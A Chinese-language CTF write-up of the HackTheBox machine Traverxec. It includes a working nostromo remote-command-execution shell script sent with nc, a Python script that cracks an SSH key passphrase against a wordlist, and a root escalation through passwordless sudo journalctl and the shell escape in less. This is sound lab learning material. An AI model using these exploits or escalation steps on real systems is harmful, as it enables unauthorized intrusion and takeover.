[HTB] Traverxec
HackTheBox 上面的一台简单的机器,这是自己第一台拿到权限的active机器,很兴奋
Happy Hacking
www-data
首先nmap扫描发现开了80和22端口
80端口运行着nostromo服务,并且存在着一个2019年的CVE
直接使用searchsploit搜索就可以找到
searchsploit nostromo
网上也可以搜相关的EXP
HOST="$1"
PORT="$2"
shift 2
(echo -n -e 'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\n'; \
echo -n -e 'Content-Length: 1\r\n\r\necho\necho\n'; \
echo "$@ 2>&1") | nc "$HOST" "$PORT"\
|sed --quiet --expression ':S;/^\r$/{n;bP};n;bS;:P;n;p;bP'
运行的时候
./exp.sh 10.10.10.165 80 ls /var/nostromo/
这样执行命令,之后就相当于获得到了www-data 的权限
下面需要提权
david
在nostromo的文件夹下看到了一个配置文件夹,里面有nhttpd.conf
文件的内容如下:
# MAIN [MANDATORY]
servername traverxec.htb
serverlisten *
serveradmin david@traverxec.htb
serverroot /var/nostromo
servermimes conf/mimes
docroot /var/nostromo/htdocs
docindex index.html
# LOGS [OPTIONAL]
logpid logs/nhttpd.pid
# SETUID [RECOMMENDED]
user www-data
# BASIC AUTHENTICATION [OPTIONAL]
htaccess .htaccess
htpasswd /var/nostromo/conf/.htpasswd
# ALIASES [OPTIONAL]
/icons /var/nostromo/icons
# HOMEDIRS [OPTIONAL]
homedirs /home
homedirs_public public_www
具体nostromo有一些特性
在nostromo的man手册中有提到一点,其中的HOMEDIRS下的选项
有一个功能是可以直接在web中访问到home目录下的用户文件夹
可以看到配置文件中写道了可以直接访问/home
目录
因此我们在浏览器中直接访问
http://10.10.10.165:80/~david/
实际上访问的目录就是/home/david
在终端中直接尝试查看这个目录下的内容是看不到的(没有读权限)
但是看到homedirs_public
这个值,这个是任何用户都可以直接访问的
因此直接在终端中
./exp.sh 10.10.10.165 80 ls -la /home/david/public_www
在这里面可以找到一个protected-file-area
里面包含了一个tar
压缩包
将这个压缩包解压,里面包含了一个.ssh
, 内容为公私钥
解压这个包的时候使用的命令是
tar -xf XXXXX.tar -C /tmp
因为直接解压默认的目录是/home
下,这个目录我们是没有权限去写的,因此使用-C
可以指定目录
私钥的内容是加密过的,没有办法直接连接,需要首先破解passphrase
手动写一个脚本来爆破
from subprocess import PIPE, Popen
import subprocess
import sys
def cmdline(command):
proc = subprocess.Popen(str(command), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
(out, err) = proc.communicate()
return err
def main():
words = [line.strip() for line in open('/usr/share/wordlists/rockyou.txt')]
print("\n")
count=0
for w in words:
strcmd = "openssl rsa -in ~/.ssh/id_rsa -out out.key -passin pass:"+w
res=cmdline(strcmd)
if res.startswith("writing"):
print("\nThe key is: "+w)
sys.exit()
print(str(count)+"/"+str(w))
count=count+1
print("\n")
if __name__ == '__main__':
main()
就是直接用python对字典中的词进行尝试,破解得到ssh私钥的pass为hunter
下面直接连接,即可获得david的权限
ssh david@10.10.10.165
其实也可以使用john来爆破key,首先使用ssh2john将其转换为john可以爆破的内容,之后直接用john和字典就可以
root
首先做的事情就是查看david的目录下有没有比较有用的内容
发现david的目录下的结构
这个bin
目录下的server-status.sh比较有趣
运行这个脚本可以看到
发现最后一行是使用了sudo
运行journalctl
这个程序
但是却没有需要输入david的密码,因此如果可以获得这个程序本身的权限就可以得到root的权限了
我们仿照脚本里最后一行运行
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
这样也不需要输入密码,最后也是进入了sudo
权限的less
中
在less
中可以类似vim
那样使用!
来执行外部的程序
done!
总结
总结一下这个靶机中学到的新知识
- nostromo 存在的漏洞
- nostromo存在一个可以直接用web访问到用户文件夹的特性
- journalctl、less的提权方法
- 使用脚本爆破ssh加密key的方法